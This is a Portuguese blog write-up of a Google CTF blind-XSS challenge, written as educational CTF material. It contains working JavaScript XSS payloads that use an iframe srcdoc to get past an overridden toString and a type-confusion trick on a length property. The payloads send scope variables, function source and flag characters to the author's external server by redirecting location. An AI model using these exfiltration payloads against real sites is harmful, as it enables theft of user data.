Google CTF Blind XSS
Em junho, a competição Google CTF foi realizada e as 10 melhores equipes voaram para Londres no mês passado para competir em uma competição fechada de Google CTF Finals.
Eu não participei da competição, mas um dos meus amigos participou e me enviou um link ao final. Eu imediatamente tentei resolver um dos desafios "fáceis" sobre hacking Web que existiam.
Acho que esse é um dos desafios mais difíceis que tive que resolver, durante a solução aprendi uma série de técnicas interessantes e quero compartilhá-las com vocês..
Para desafios: https://gctf-2018.appspot.com/#challenges
O desafio começa assim:
Vídeo mostrando a solução do desafio:
Clique no link e seguiremos para o próximo site:
Você pode ver que encontramos Blind XSS no site, mas não sabemos quem o roda, quando e como? Nosso objetivo é tirar proveito do BlindXSS- e alcançar o-flag.
Comecei o desafio com minha varredura de escopo usando:
Object.keys(window);
Então, basicamente, obtemos todas as variáveis e funções definidas em nosso escopo:
Vemos o resultado no arquivo access.log do meu servidor apache2 em um domínio de meu controle www.gmailtracker.com:
Se olharmos mais de perto as variáveis ou compará-las com as variáveis no scope de um site na Internet, parece que a variável enter se difere do normal..
Portanto, a próxima etapa é visualizar o conteúdo da variável enter:
location="https://www.gmailtracker.com?aaaaa"%2benter
O resultado de realizar esta ação é:
Você pode ver que nós recebemos a sentença:
[No source code for you. Not on my watch not in my world]
Presumivelmente, eles implementaram nos bastidores um mecanismo que substitui a função toString e, portanto, não nos permite ver o código da função enter:
Se escrevermos o nome da função no console, veremos a seguinte resposta:
Se você prestar atenção, verá que esta é uma dica que indica que devemos recorrer a códigos de outro mundo “Not on my watch not in my world” A referência de outro mundo é o escopo, portanto, precisamos chamar este código atravéz de outra página.
Para fazer isso, você pode usar o iframe da seguinte forma:
<iframe srcdoc="<script>parent.output = Function.prototype.toString.call(parent.enter)</script>"></iframe>
Este iframe se tornará parent.enter e executará toString de outro escopo onde não ocorrerá override(subistituição) e irá inserir o resultado no escopo do-parent.
O código completo ficará assim:
Depois de executar o código vamos ver o output, e parece que agora podemos acessar o código da função enter e extrair a senha.
Vamos escrever um código que fará a mesma coisa dinamicamente e nos enviaremos o código para o servidor:
`payload=(function(){
s=document.createElement('iframe')%3b
s.srcdoc = '<svg/onload="parent.result=Function.prototype.toString.call(parent.enter)">'%3b
document.head.appendChild(s)%3b
setTimeout(function(){
location="https://www.gmailtracker.com/?"%2Bresult%3B
},50)%3b
})();
`
O resultado da execução do código será semelhante a este:
Você pode ver que a função enter contém a seguinte lógica:
Observe que o loop executa password.length, e password é uma variável que passamos para a função enter.
Se a senha for algum texto, então o comprimento é o comprimento do texto, mas se a senha for um objeto? Então podemos usar o objeto e inserir o comprimento do valor nele e causar uma type-confusion no loop.
Portanto, se inserirmos no código enter a seguinte senha:
{length: -1}
O loop for não existirá e nosso código será executado.
Então, se começarmos a mudar o comprimento e adicionar valores, será possível realizar um ataque de bruteforce (força bruta) leve no seguinte método:
Sabemos que a flag começa com uma palavra "}CTF" Portanto, é claro para nós que os primeiros quatro caracteres são "}CTF", Portanto, temos que descobrir o quinto caractere usando intruder (Em vez do ponto de interrogação como no vídeo) E então, se enviarmos a seguinte solicitação:
payload=(function(){ enter({length: 4, 0:"C", 1:"T", 2:"F", 3:"{", 4:"?"}, 'location="https://www.gmailtracker.com/?"%2b"CTF{?"')%3b })();
Entendemos que a primeira letra da flag é a letra 'D'
O payload (carga útil) final se parece com isto:
payload=(function(){ enter({length: 22, 0:"C",1:"T", 2:"F", 3:"{", 4: 'D', 5: '3', 6: 'F', 7: '3', 8: 'n', 9: 's', 10: 'i', 11: 'V', 12: '3', 13: '_', 14: 'J', 15: 'S', 16: '_', 17: '4', 18: 'E', 19: 'v', 20: '3', 21: 'r', 22: '}'}, 'location="https://www.gmailtracker.com/?"%2b"CTF{D3F3nsiV3_JS_4Ev3r}"')%3b })();
O que nos dará a seguinte senha:
Aprendi muito durante a resolução desse desafio e espero que vocês também 😊